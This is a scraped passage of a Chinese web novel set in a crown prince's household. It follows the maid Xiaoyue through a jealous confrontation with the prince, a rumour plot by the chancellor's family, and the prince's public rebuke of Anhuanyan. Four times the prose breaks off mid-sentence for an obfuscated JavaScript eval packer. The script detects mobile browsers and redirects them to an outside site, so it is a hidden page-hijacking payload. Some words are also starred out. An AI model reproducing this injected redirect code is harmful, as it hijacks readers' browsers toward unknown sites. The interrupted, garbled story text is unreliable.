安小月白日睡够了,这会子没有睡意,索性轻手轻脚地推开殿门,安静地坐在门槛上。 夜风微凉,抬头便能望见漫天星子。 她不是头一次这么躲懒了,也不走远,既能听见殿内的动静,又能偷得片刻自在。 正出神间,忽听一阵整齐的脚步声由远及近。 安小月警觉回头,却见赵忠带着一队侍卫正从回廊一侧往这里巡逻。 两人四目相对,皆是一愣。 赵忠眉头一皱,快步走近,压低声音道,“你怎么在这儿?伤都好了?” 安小月迅速起身,不自在地点头回应。 “我今夜当值,苏公公让我守夜。” 赵忠的目光在她和殿门之间扫了个来回,微不可察地点头。 似是不放心地叮嘱道,“夜里凉,多注意身子。” 说完安小月还没反应,他竟不自觉红了脸。 幸好天黑,除了他没有任何人察觉到他的异样。 安小月低头应是,心里隐隐有些愧疚。 之前她故意向赵忠打听太子行踪,结果却没得到自己想要的效果,还被狗太子反击,派他们一起去放粮。 她当时心急,不免将错都怪在赵忠身上。 事后也对他多有回避,不想再过多接触。 可仔细想想,赵忠已是太子府难得对她没有恶意的好人了。 她这么做未免过于没良心。 安小月稍稍抬眸,却见他身后的侍卫不知何时已经离开,只剩下他紧紧盯着自己。 对视一眼,两人脸色同时变了变,又同时移开视线。 “对了。”安小月突然想起什么,“赵大人稍等片刻,我有东西要送你。” 她快步走进内殿,从枕下摸出一个用素布包裹的物件。 到门口借着朦胧的月光低头翻找,却因光线太暗而看不清,迟迟没找到。 这时,身侧忽然亮起一团暖光。 赵忠不知何时走到门口,手中提着的灯笼微微前倾,恰好将她手中的东西照得清清楚楚。 安小月一怔,抬头正对上他的眼睛。 气氛一时静默。 安小月率先移开视线,从里头挑出一枚用石榴红丝线编好的络子。 “之前……承蒙赵大人照顾。”她声音很轻,将络子递了过去,“这是我和王嬷嬷一起编的,马上就端午了,图个吉利。” 赵忠盯着她手中的络子看了许久。 只是粗略一看,都能发现这个东西结法精巧,末尾还缀着两颗小小的玉珠,又精致又喜庆。 他伸手接过,“这……” 赵忠迟疑片刻,似是在斟酌什么,却迟迟不见下文。 “嗯。”最后也只是应了一声。 “多谢安姑娘,我还要巡夜,先走一步。” 他几乎是迫不及待地离开此处,活像是身后有鬼在撵他一样。 安小月也察觉到气氛的古怪,搓了搓胳膊,溜进内殿关上了门。 刚转身,腰间却突然被一双有力的胳膊紧紧箍住,一道火热结实的身躯贴了上来。 她吓了一跳,差点叫出声。 电光火石间又立刻意识到身后这登徒子只可能是狗太子,又将尖叫咽了下去。 她及时调整表情,身子一软,将全身重量都压到他身上。 “殿下……”安小月抬头,嗔怪道,“殿下就知道吓唬奴,幸好奴胆子大,不然非要吓晕不可。” 话音刚落,下巴突然被用力掐住。 光线昏暗看不清萧衍的神色,只能听见他突然冷笑一声。 “你胆子确实大得很。” “竟敢在守夜私会侍卫,还赠定情信物……” 他猛地将她抵在朱红大门上,咬紧了牙根,“安小月,你当孤是死的?” 安小月脸色猛地惨白一片,不受控制地连连咽着口水。 “没有,殿下,奴没有和赵大哥……” “赵大哥?”萧衍冷厉的气息又一次逼近,“叫得可真亲密,安小月,你当真看不出他对你的心思?” 安小月被抵在门板上,后背硌得生疼,却不敢挣扎。 她咬了咬唇,声音低得不能再低。 “奴婢与赵大人清清白白,殿下莫要冤枉人……” “又叫赵大人了?”萧衍忽然低笑一声,“方才不还亲亲热热地喊赵大哥?” 他俯身逼近,霸道森冷的气息扑面而来。 “孤看你清楚得很,上次放粮,他对你就很是照顾,不是还有胆子跟他打听孤?” 安小月瞳孔骤缩。 原来太子连这些细微末节都…… 她确实察觉过赵忠的特殊关照。 不过放在平时都是再正常不过的小事,此刻被太子赤裸裸点破,竟像被扒了衣裳般羞耻。 “奴没有,奴只是……” 她慌乱不已,越着急越想不出应对之策。 萧衍突然掐住她后颈,逼她仰头对视,“只是什么?光要孤一个还不够,非让整个太子府都变成你的裙下之物?” 安小月脑子一热,突然踮起脚尖,温软的唇瓣横冲直撞地贴上他的嘴角。 两人同时僵住。 安小月能感觉到太子的呼吸骤然停滞,掐在她后颈的手指瞬间收紧。 她自己也惊得睁大了眼,睫毛慌乱地颤着,却不愿意退开,只紧紧贴着他的唇,几息之后,还故意伸出舌尖轻轻舔过。 萧衍喉结重重一滚,眼底暗色翻涌。 “安小月。”他嗓音沙哑得可怕,“你知道自己在做什么吗?” 安小月像是受了惊吓的小兽,猛地后退半步,却被他一把扣住腰肢拽回来。 “又跑?”他冷笑,指尖狠狠按住她湿润的唇瓣,“谁教你的规矩?还是说孤比赵忠还要吓人?” 第93章 喘息 安小月被萧衍扣在怀里,唇上还残留着他指腹碾过的触感。 她心跳如雷,既怕他继续,又怕他停下。 这种错综复杂的情绪几乎要将她**成两半。 萧衍盯着她慌乱躲闪的眼睛,忽然低头,鼻尖亲密地贴上她的耳垂。 “你还知道怕?”他嗓音低哑,带着危险的意味。 “方才亲上来的时候,不是很大胆?” 安小月下意识往后缩,却被他一把按住后腰,整个人严丝合缝地贴在他身上。 隔着单薄布料,她能清晰感受到他紧绷的肌肉和灼热的气息,甚至…… 安小月面颊瞬间涨红,慌乱地别开脸。 “殿下,这不合规矩。” 她心里很清楚。 但凡有个名分,哪怕是最低贱的妾侍,就算事后太子知道她别有用心,也不会轻易要了她的命。 包括那些人也不能轻易杀她灭口。 可偏偏,她只是个可以随意打杀的婢女。 安小月不甘心,也觉得此时不是最合适的时机。 萧衍见她不语,眸色更深。 大掌顺着她的脊背缓缓上移,最终停在颈侧,不轻不重地摩挲着那处的肌肤。 “抖成这样……”他低笑,呼吸喷在她耳畔,“怕孤要了你?还是怕孤不要你?” 安小月浑身一颤,低垂着脑袋,不敢回答。 她怕的太多了。 怕自己沉溺其中,怕任务败露,更怕有朝一日他知道真相后,会用此刻触摸过她脖颈的手,亲手掐死她。 萧衍察觉到她的僵硬,眸中欲色稍敛,取而代之的是一丝晦暗的冷意。 “说话。”他捏住她的下巴,逼她抬头直视自己。 “孤再给你一次机会。” 安小月唇瓣微动,却发不出声音。 她该说什么? 说她在骗他?说她接近他本就是一场阴谋? 还是说她想借机要个名分,只为了给自己留条活路? 萧衍盯着她苍白的脸色,忽然冷笑一声,松开了手。 “滚出去。”他转身,嗓音冰冷,“今后不必守夜了。” 安小月重获自由,腿一软险些跪倒,勉强扶着门框才站稳。 她张了张嘴,最终只是低低应了一声,“诺。” 随即跌跌撞撞退出内殿,一路上心乱如麻,指尖却无意识地抚上嘴唇。 那里还残留着他灼热的温度,仿佛是块烙铁,烫得她心口发疼。 不知不觉间,安小月胸腔已然翻涌着酸涩。 太子会因她心生波澜,明明该窃喜的,可为什么连呼吸都带着苦涩? 突然,假山后传来极轻的“咔嚓”声。 安小月浑身绷紧,猛地转身,却瞥见月光下高大的身影。 来人正是去而复返的赵忠。 两人隔着三丈远的距离对视,可谁都没开口,片刻后又不约而同地转身离开。 回到厢房,隔间的王嬷嬷早已经歇下。 安小月蜷缩在被子里,却怎么也睡不着。 唇上残留的气息久久都散不去,一呼一吸之间,她的心跳又乱了几分。 几乎是下意识回想起方才的旖旎。 她不该想这些。 可越是压抑,那些画面越是争先恐后往出冒。 太子扣在她腰上的手,低哑的嗓音,还有那双深不见底的眼睛,像是要将她吞噬。 伴随着忐忑和迷茫,安小月终于陷入熟睡,却睡不**稳。 她梦见自己被他抵在书案前,桌上的东西全都掉在地上,梦见太子捏着她的下巴,嗓音又低又沉,问她。 “安小月,你逃得掉吗?” 她颤抖着摇头,却被他一把抱起,他的吻终于落了下来,比想象中更凶狠,像是惩罚,又像是迫不及待。 梦境越来越深,越来越烫。 她甚至能感觉到他的手掌顺着她的腰线滑下,所过之处,肌肤寸寸战栗。 明明是在梦里,她的身体却不受控制地发软。 安小月紧闭双眼,喉咙里溢出一声轻哼。 “嗯……殿下……” 这一声,让她猛地惊醒! 安小月倏地坐起身,胸口剧烈起伏,思绪还没完全清晰,脸颊却滚烫得几乎要烧起来。 她慌乱按住自己的唇,不敢相信刚刚那声甜腻的喘息,竟是从自己口中溢出的。 更可怕的是,梦里那个人,是太子! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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会不会质问她梦里为何唤他? 可下一瞬,就见他唇角一扯,冷冰冰道,“昨夜才编?还特意按照孤的喜好?” 安小月指尖一颤,竟有些心虚。 养伤期间她的确编了不少,可都是送给娘和阳儿,以及王嬷嬷他们的。 不知是有意还是无意,她将给他的放到了最后,若不是昨夜做了梦睡不着,估计都不会这么快编完。 “搁着吧。”萧衍轻飘飘扔了句话。 安小月蹙了蹙眉,不免失望,只得将东西放下。 漆盘刚碰到案几,就听他又道,“今早赵忠剑鞘上的平安络,倒比这个更鲜亮。” 他不疾不徐的脚步声逼近,“你说,当奴才的,该把最好的先呈给谁?” 安小月没由来耳尖发烫。 “奴知错……”她嗓子发紧,呵呵地干笑着补了句,“可玄色那个,奴只编了殿下独一份的。” 话一出口,她就悔青了肠子。 果不其然,萧衍闻言冷哼一声。 “那石榴红的也是他独一份?” “不不不。”安小月想都不想地否认,抬头就瞧见他眼底的不悦,怯怯地往前挪了两步。 “殿下,送给赵大人的络子是王嬷嬷编的,奴只是帮忙跑个腿而已。” 萧衍眯起眼睛,眼底带着探究。 安小月急忙竖起三根手指,“殿下若是不信,可以把王嬷嬷叫过来当面对峙。” 萧衍反应冷淡,“区区几个络子,值得孤大费周章?孤若是喜欢,多得是人送。” 安小月偷偷撇嘴,不甘心,又往前半步。 “那些人送的,怎么能跟奴送的一样呢?” “奴特意请教过苏公公和王嬷嬷,殿下不如看看,或许尚能入眼?” 话音刚落,萧衍突然伸手,一把扣住她手腕。 安小月差点松手扔了漆盘。 “安小月。”他语气带着若有似无的讽意,“你以为,孤会看不出你的心思?” 安小月抿了抿唇,倔强地迎上他的目光,“奴一心为了殿下好,能有什么心思?” 萧衍冷笑,从漆盘里拎起那个玄色络子,指尖一挑,那缕发丝瞬间无所遁形。 “缠发入络,民间习俗。”他语气讥诮。 “你这是想跟孤当结发夫妻?” 安小月眼神躲闪,耳尖烧得通红。 她的确有暗示他的意思,可哪有当着人的面戳穿的? 到底年纪还小,羞耻感如同潮水涌上心头,她颤抖了半天才说出一句话。 “殿下若不喜欢,扔了便是。” 萧衍盯着她,眸色深得骇人。 良久,他忽然一甩手,络子“啪”地落回漆盘。 “滚出去。” 安小月心一沉。 她惨白着脸,转身就走,只是刚走到门口,却听见他冷漠的声音传来。 “今晚来书房伺候笔墨。” 安小月脚步一顿,没回头,唇角悄悄翘了起来。 她就知晓他不是全然无意。 水滴尚能穿石,她若是持之以恒,还怕打动不了这位爷的心? 这样想着,原本溜走的勇气又全数回来。 暮色渐浓,书房内烛火轻晃。 安小月轻手轻脚推门进去时,萧衍正倚在窗边看折子,听见动静抬头扫了眼。 他慢条斯理地走到书案前坐下,抬了抬下巴,“研墨。” 安小月抿唇一笑,乖顺地走到案前,指尖捏着墨锭,一圈一圈地研着。 室内寂静,只有墨条与砚台相触的细微声响。 她偷偷抬眼,正巧撞上太子瞥过来的目光,心头一慌,手上力道没控制住,让墨汁溅出一滴,正落在她的袖口。 “笨手笨脚。”萧衍语气嫌弃,随手扔了帕子过来。 安小月红着脸接过帕子,指尖故意在他手背轻轻一挠,抬眼时眸子里带着狡黠的笑意。 “殿下教训的是,奴下次一定小心。” 萧衍眯了眯眼,一把扣住她的手腕,拇指在她腕骨上摩挲了一下,嗓音低哑。 “又不安分。” 她耳尖微热,眨了眨眼,故作无辜,“奴只是怕帕子掉到地上,殿下怎么反倒怪起奴来了?” 萧衍盯着她看了几眼,忽然嗤笑一声,松开了手,没再管她。 安小月心里得意,胆子更大了些。 她一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657804|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨墨一边故意道,“ 殿下今日可是累了?批的折子怎么比往日少?” 萧衍笔尖一顿,抬眼看她,似笑非笑。 “现在连孤的政务你都要过问?” 安小月一本正经道,“奴关心殿下贵体,殿下若是累坏了,府里上上下下可都要心疼的。” 萧衍轻哼一声,却没反驳,反倒任由她在一旁絮絮叨叨地说些不着边际的话。 偶尔被她逗得唇角微扬,又很快压下去。 又故作冷淡地斥一句,“聒噪。” 可语气里哪有一丝不耐,满是纵容,任谁进来看到都要被惊掉下巴。 安小月心里甜滋滋的,觉得火候差不多了,正想再逗他两句,门外突然传来急促的脚步声。 紧接着,苏德的声音在门外响起。 “殿下,有急报!” 安小月心头猛地一跳,手指无意识地攥紧了袖口。 上次有人这样急匆匆进来,太子就浑身是血的回来…… 她脸色一白,下意识看向太子,却见他神色未变。 “进来。” 苏德推门而入,手里捧着一封密信,目光在安小月身上一扫,欲言又止。 萧衍头都没抬,“说。” 苏德低声道,“坊间突然流出传闻,说,说……安姑娘私会外男,还私相授受!” 安小月手一抖,帕子轻飘飘地掉进砚台,瞬间被墨汁染成黑色。 她猛地抬头,脸色瞬间煞白,脑子里嗡嗡作响。 她何时私会外男? 萧衍眸光骤冷,视线缓缓移到她脸上,“你有什么要说的?” 安小月喉咙发紧,声音几乎是从齿缝里挤出来的,“奴没有……绝无此事!” 苏德低声道,“传言说,安姑娘前几日往西市的醉仙楼送了封信。” 安小月指尖发颤。 前几日她确实往西市醉仙楼送过一封信,可那分明是陷阱。 那封信是她故意放出去的饵,里头写的全是胡编乱造的废话,为的就是引那些暗处的人上钩。 其中一个便是太子。 可如今,这饵竟被人反手做成了刺向她的刀? 安小月陷入沉思,会谁在背后操纵? 第95章 不能把心搭进去 萧衍冷眼看着她神色变幻,叩桌提醒,“无话可说了?” 安小月深吸一口气,抬眸直视他。 “殿下,奴确实托人往醉仙楼送过信,但那是奴故意为之。” 萧衍眉梢微挑,“哦?” 她嘴角微抽,露出一抹极不自在的笑容。 半晌才结结巴巴道,“奴听王嬷嬷说,近几日总有人暗中盯着奴,奴担心有人背后做坏,意图对殿下下手,便伪造了一封密信,假意送往醉仙楼,想引蛇出洞。” 萧衍眸光微动,却仍不动声色。 “把蛇引出来后要做什么?” 安小月不说了,脸上一阵青一阵白。 她原本想,若太子当真看到这封信,便能意识到她已经发现他暗中盯着自己。 也有小心思,想看到他得知被人戏耍后的恼羞成怒。 却不料这信竟被人利用,反倒成了她私会外男的证据。 萧衍忽然冷笑一声,“愚不可及,只有你能利用这封信,别人不能反过来利用?” 安小月一噎,却无法反驳。 她羞得无地自容,嘴硬道,“可奴不会写字,这封信都是鬼画符,一旦对比字迹便能分辨真假!” 萧衍站起身,居高临下地睨着她。 “若是别人说你请人来写呢?” 她攥紧手指,脑子一片空白。 除了太子,谁会知道信送到了醉仙楼? 萧衍眸色深沉,忽然伸手捏住她下巴,“安小月,你胆子不小,敢背着孤设局?” 她轻咳一声掩饰尴尬,顿时底气不足,“奴只是不想时刻被人盯着……” 萧衍盯着她看了许久,忽然松手,转身走向窗边,“苏德。” 苏德立刻上前,“殿下?” “去查查,三日内,孤要知道是谁在醉仙楼做了手脚。” 他漫不经心的对苏德投去一瞥。 苏德会意,低头,“诺。” 安小月心头一松,却听太子又道,“至于你。” 他侧眸瞥她一眼,“禁足三日,好好反省。” 安小月眨了眨眼,忽然唇角微翘,故作羞涩,“殿下这是要帮奴打抱不平吗?” 萧衍嗤笑,“你倒是想得美,又想让孤替你冲锋陷阵?今后再敢自作主张,孤打断你的腿。” 安小月低头抿唇,“奴遵命,再也不敢了。” 她被禁了足,早早的就回了院子,刚踏入房门,身后便传来急促的脚步声。 “姑娘!” 王嬷嬷快步进来,脸上带着担忧,“怎么回事?外头都在传姑娘被殿下禁足了?” 安小月脸上却不见惊慌,反而笑得轻快,“嬷嬷别担心,不是什么大事。” 王嬷嬷拉着她的手坐下,叹了口气,忽然压低声音。 “姑娘,老奴看得出来,殿下待你与旁人不同。” 安小月指尖一顿。 “姑娘想往上爬,想在这深宫里挣出一条路来,老奴都明白。” 她顿了顿,声音更低,“可那是太子殿下,姑娘若把全部真心都押上去,日后若有个闪失,伤的只会是自己。” 安小月嘴角微微下压,没说话。 王嬷嬷语重心长,“老奴不是要拦姑娘,只是姑娘得给自己留条退路,这世上,最靠得住的,终究还是自己的本事和主见。” 安小月忽然想起,很久以前,王嬷嬷也曾对青莲说过类似的话,青莲转述给她,她那时就觉得王嬷嬷非比寻常。 王嬷嬷还告诫过她和青莲,说在这深宫里,可以争,可以谋,但永远别把命交到别人手里。 她当时就放在心上,如今再听,更觉得字字真切。 是啊,她还有大事未成,怎么能因为太子的一点点特殊对待,就昏了头? 安小月深吸一口气,低声道,“嬷嬷放心,我明白了。” 王嬷嬷欣慰点头,又叮嘱几句,才轻轻带上门离开。 屋内重归寂静。 安小月望着窗外,眸中的迷茫渐渐褪去,取而代之的是一抹清醒。 她可以借太子的势,可以谋自己的路,但绝不能把心也搭进去。 思及此,她状似不经意往头顶瞥了眼,转身去做自己的事了。 与此同时,相府。 安禄海端着茶盏,嘴角噙着一丝冷笑,“听说太子禁了那贱婢的足?” 王氏抚了抚鬓角,得意道,“老爷放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657805|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,这只是第一步,太子既然罚了她,说明心里已经起了疑。” 安欢颜坐在一旁,眉头微蹙。 “父亲,母亲,我记得她没读过书?万一被人发现那封信根本不是安小月写的……” 王氏冷哼一声,眼底闪过一丝阴毒。 “谁说那贱婢不会写字?她当年在庄子上,可是偷偷跟着账房先生学过!” 安禄海也吃了一惊,很快便镇定下来。 “这就好,就算她抵赖,我们也有办法让太子相信,她进了太子府之后,背地里可没少动心思。” 安欢颜前几日处在崩溃边缘,冲动之下才答应了王氏的提议。 如今冷静下来,仍有些不安。 “可若是太子彻查……” “查?”王氏忽然笑了,眼底却毫无温度,“他查得越深,只会越怀疑安小月,一个奴婢,竟敢私学认字,还故意装作不会,你说,太子会怎么想?” 王氏语气轻飘飘的,却透着狠意。 “更何况,我们手里可不止这一张牌,等时机成熟,再放出下一条消息,到时候……” 她没有说完,但书房内的三人都心照不宣地笑了。 安欢颜也在他们的安慰下终于放了心。 三日后,安小月终于踏出房门,被小太监引到玉庆宫。 萧衍端坐案前,神色冷峻。 苏德垂首立于一侧,手中捧着一卷密报。 安小月安静地站在下首,低眉顺目,看似恭谨,实则心思飞转。 这几日她反复思量,能对她下手的,无非是安欢颜,六皇子二人,顶多算上三公主。 而安欢颜的嫌疑最大。 毕竟,她刚坏了对方的好事,又传出那些谣言,以安欢颜的性子,岂会善罢甘休? 安小月心里定了人选,面上不露分毫,只是微微抿唇,作出一副忐忑又困惑的模样。 苏德清了清嗓子,沉声道,“殿下,查清楚了,那日散布谣言的源头,确实出自相府。” 太子眸光一冷,“证据?” 苏德呈上一封密信,“这是相府当家主母王夫人身边丫鬟与府外人的往来记录,还有他们雇人散播谣言的银钱去向。” 第96章 真的不配 安小月倏地攥紧拳头,心底冷笑。 果然是她们! 但她依旧低着头,神情惶恐道,“奴愚钝,不知何处得罪了相府夫人!” 萧衍扫了她一眼,嘴角勾起一抹讥笑。 “你觉得她为何针对你?” 安小月茫然摇头,“奴不知。” 周围静默了好一会儿。 苏德悄悄看了眼太子,忽地想起殿下那日在宫宴上为安小月开罪相府时的荒唐。 如今她倒好,出了事还装傻充愣,一副与她无关的模样。 萧衍嗤笑出声,掀开眼帘幽幽扫了她一眼。 却不知该骂她没心没肺,还是该恼自己当初多管闲事。 半会儿才传来他低沉的质问,“你在相府为奴时可曾得罪过主母?” 安小月神情微惊,却没作声,袖中手指掐进掌心。 他为何突然问这个? 难道查到了什么? 她垂下头,压下心底的丝丝异样,嗓音带着恰到好处的颤抖,“奴卑贱之躯,怎敢得罪相府夫人。” 顿了顿,又轻声道,“只是……” 萧衍目光锐利,“只是什么?” “只是相府夫人不喜奴笨拙,常责罚奴做粗活。” 安小月眼圈微红,声音越来越低,“冬日冷水洗衣,夏日在日头下为兰花撑伞……都是常事。” 她说着慢吞吞卷起左边袖口,露出一截玉白的手臂,大臂内侧横亘着一道狰狞的疤痕,在莹白的肌肤上显得格外刺目。 萧衍目光扫过那道疤,想起之前查到的信息。 相府主母王氏苛待下人,尤爱用带软刺的长鞭责罚犯错之人,不过这个位置,应当是用刀。 他眸色陡然阴沉,却依旧沉默。 安小月偷瞥太子的神色,继续哽咽道,“有次奴不慎打碎了废弃的花盆,相府夫人就罚奴跪碎瓷片,还有之前那盆兰花……” 她突然噤声,似是惊觉失言,背过身擦拭眼泪,“奴多嘴了!” 萧衍盯着她许久,忽然道,“兰花怎么了?” 安小月慌乱垂下眼眸,内心却在飞速权衡。 太子既知她从相府出来,必已派人查过底细。 若此刻编造谎言,一旦被拆穿,先前苦心经营的信任便会顷刻崩塌。 可若全盘托出…… 她忽然想起先前王氏将滚烫的茶盏朝她砸过来,又厉声呵斥她手脏,不配碰那些兰花。 手臂上的旧伤忽然又开始隐隐作痛。 终于,她深吸一口气,抬起湿润的眼眸,“回殿下,相府夫人最喜欢的那盆兰花,不是奴打碎的。” 望着太子那双平静的眼眸,她顿了顿,语气认真又字字清晰。 “是王夫人极为信任的赵嬷嬷,那日奴亲眼看见她将枯了的兰花扔进湖里,她怕被责罚,才又用别的兰花,将错甩到奴身上。” 安小月后退半步跪下,“今日是奴失态了,奴只是没想到还有人会问起这事。” 尾音带着恰到好处的哽咽。 “苏德,取凝脂膏来。”萧衍突然开口。 苏德应声退下,很快捧来一只白玉盒子,萧衍接过,刚掀开盒盖,里面莹润如雪的膏体便散出淡淡药香。 “伸手。” 安小月怔了怔,“奴卑贱之身,怎配用这样金贵的药,况且这疤痕有几年了,怕是治不好了。” 她说着,指尖无意识地摩挲着手臂上旧伤,神情恍惚。 萧衍眸色一沉,忽然伸手扣住她的手腕,不算粗鲁地扯过来。 “你如今是太子府的人。”他嗓音低沉,带着不容置疑的威严,“孤说你能用,你就能用。” 安小月睫毛轻颤,一滴泪无声滑落,却仍咬着唇。 萧衍盯着她看了片刻,忽然冷笑一声,“怎么?看不上孤给你的药?” 她慌忙摇头解释,“奴不敢,只是……” “没有只是。”萧衍打断她,语气不容反驳,“从今往后,若再让孤听见你自轻自贱。” 他挑出一点药膏,轻轻抹在她手臂狰狞的疤痕上,动作竟出奇的轻柔。 “孤就让你知道,什么叫真正的不配。” 他指尖还带着药膏的凉,动作轻得像羽毛拂过。 安小月怔怔望着他垂下的眼睫,恍惚间想起娘亲以前也是这样用捣碎的忍冬花一点点抹在她红肿的伤口上。 “嗯?听到了吗?” 腕骨突然被不轻不重地捏了一下,惊得安小月理智瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663809|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间回笼。 她下意识蜷起手指,乖乖点头。 萧衍抿唇,将玉盒递了过去,可递到半途却忽然收手。 瓷瓶嗒地又放到案几上。 “就放这儿,你每日过来上药。” 他曲指弹了下盒盖,发出清脆的声响。 “省得你转手当了。” 安小月眼睛突然睁大,他怎么知道。 前几日她确实托王嬷嬷当了点东西,本以为做的神不知鬼不觉,不料此刻却被当面戳穿。 她羞得连脖颈都泛起淡淡的粉。 萧衍忽然倾身靠近,她本能地闭眼,却只听见头顶一声几不可闻的哼笑。 再睁眼时,他已经坐了回去,看着自己微微挑了挑眉。 “瞧孤做什么?你该不会是想让孤帮你吹一吹?” 安小月瞬间听懂他话里的意思,脸色腾地蹿红,含羞带恼地瞪了一眼。 萧衍眉毛高高挑起,指着她问苏德,“你方才可看清楚了?她是不是瞪孤一眼?” “这……”苏德视线来回在两人身上打转,呵呵干笑。 萧衍也没指望他能说什么,意味不明地哼了声。 “孤再问你一件事,你当真不识字?” 安小月呼吸一滞,不知道该作何反应。 她确实会写字,是很久以前在庄子上学的。 可那庄子早已被封,当年的人散的散,死的死,就算太子去查,估计也查不出什么。 她垂下眼睫,声音轻而稳,“回殿下,奴真的不识字。” 萧衍盯着她看了许久,嘴角轻轻一撇,似笑非笑。 “很好,孤最不喜欢有才学的女子。” 他说完收回视线,没再追问。 安小月还跪在原地,心跳却乱了。 若他真厌恶女子识字,先前为何要让她帮着念书? 蜷在一起的双手悄悄收紧,她忽然想起来安欢颜私下里曾炫耀过太子夸她秀外慧中…… 虽然不一定真的出自真心,可他的确说过这种话。 “愣着做什么?”萧衍冷不丁开口,“孤饿了,你去做点吃的过来。” 安小月回神,急忙往外走,丝毫没注意到太子的嘴角若有似无地勾了下。 第97章 羞辱 事情虽已查明安小月是遭人构陷,可外头的风言风语却未因此平息。 萧衍并未派**压流言,只如常在太子府习武练剑,偶尔召安小月炖汤,后者同样也不着急。 仿佛这场风波与他们全无干系。 这日午后,相府气氛却空前凝滞。 苏德领着内侍们踏入大门时,相府众人早已跪候多时。 至于他突然造访的原因,更是被议论纷纷。 太子并未亲临,却派了身边最得力的总管前来,这阵仗已足够让人心惊,哪敢深想。 “安相爷,殿下有赏。”苏德声音不高,却字字清晰。 他将礼单展开。 “赐相府嫡女安欢颜——《女诫》一部,白玉禁步一串,苦茗一匣。” 话音落下,院内死寂。 安欢颜跪在最前,指尖死死掐进掌心,脸色煞白。 她盯着那部刻意做旧的《女诫》,书封上的字刺得她眼睛生疼。 太子这是在说她德行有亏? 这时,一名内侍端着白玉禁步呈上,在她眼前晃了晃。 珠子相撞,本该清脆悦耳,却因铃舌被蜡封死,只发出沉闷的“嗒嗒”声,仿佛明晃晃的羞辱砸到她脸上。 安欢颜呼吸一顿,眼前发黑,身子晃了晃,险些栽倒。 一旁的丫鬟小桃连忙扶住她,手却也在抖。 安禄海面色铁青,却不得不叩首谢恩。 “臣代小女,谢殿下恩典。” 苏德前脚刚走,消息后脚就散了出去,根本压不住。 不到半日,整个京城都传遍了。 太子赐相府嫡女《女诫》和哑铃禁步,这哪是赏? 分明是敲打! 茶楼酒肆里大肆议论着此事。 “听说安大小姐接赏时脸都白了,跪都站不稳……” “可不是?殿下这招狠啊,不罚不骂,却比打脸还疼!” “殿下可是在帮前些日子那安姑娘出气?” “……” 安欢颜听到丫鬟一五一十地汇报,一挥胳膊扫落妆台上的脂粉钗环,伏案痛哭。 她完了。 太子的态度明明白白,他认为她是个德行有失的女子。 而这“赏赐”,会像烙印一样,让她再也抬不起头! 安欢颜伏在妆台上哭得梨花带雨。 王氏推门进来,一见女儿这般模样,顿时心疼得眼眶发红。 她几步上前将女儿搂进怀里,恨声道,“定是那个**在太子面前蛊惑人心,才害得你受这般羞辱!” 安欢颜攥紧了帕子,眼泪砸在手背上,懊悔哽咽不已。 “早知如此,当初就不该把安小月送进太子府,哪怕是我自己嫁进去吃苦,也好过如今被她踩在脚下!” 王氏脸色阴沉,可只能咬牙道,“这决定是你父亲和皇后娘娘一同定下的,我们又能如何?” 她心里恨极,却也只能咽下这口气。 毕竟,在这盘棋局里,她们母女的分量轻如鸿**。 王氏轻轻拍着安欢颜的背,低声劝道,“傻孩子,别哭了,你父亲当初只给你三日挽回殿下的心,咱们好不容易才想出这个法子拖延了些时日,可如今……” 她叹了口气,“你父亲已经快按捺不住了,咱们得加快动作才行。” 安欢颜抽噎着抬头,眼中仍带着不甘。 “可咱们原本打算借六皇子的事牵制太子,现在岂不是白白浪费?” 王氏神色一凛,压低声音道,“这事绝不能让你父亲知道!他若知晓咱们想拉六皇子下水,只会更加震怒。” 她眼中闪过一丝狠色,“眼下只能先放一放,当务之急,是得让安小月彻底翻不了身!” 安欢颜恨恨道,“我不管别的,我只要她死!” 王氏安抚地握住她的手,“放心,有娘在,不会让你再受委屈!” 然而,消息自然也传进了太子府。 安小月倚在窗边,无意识地绞着帕子。 窗外嬷嬷们的窃窃私语顺着风飘进来,她想装作不知情都难。 胡思乱想间,她忽然觉得遍体生寒。 连安欢颜那样金尊玉贵的嫡女,顶着未来太子妃的名头都会被当众羞辱。 若是换作她…… 安小月抚上脖颈,打了个寒颤,她怕是早就**。 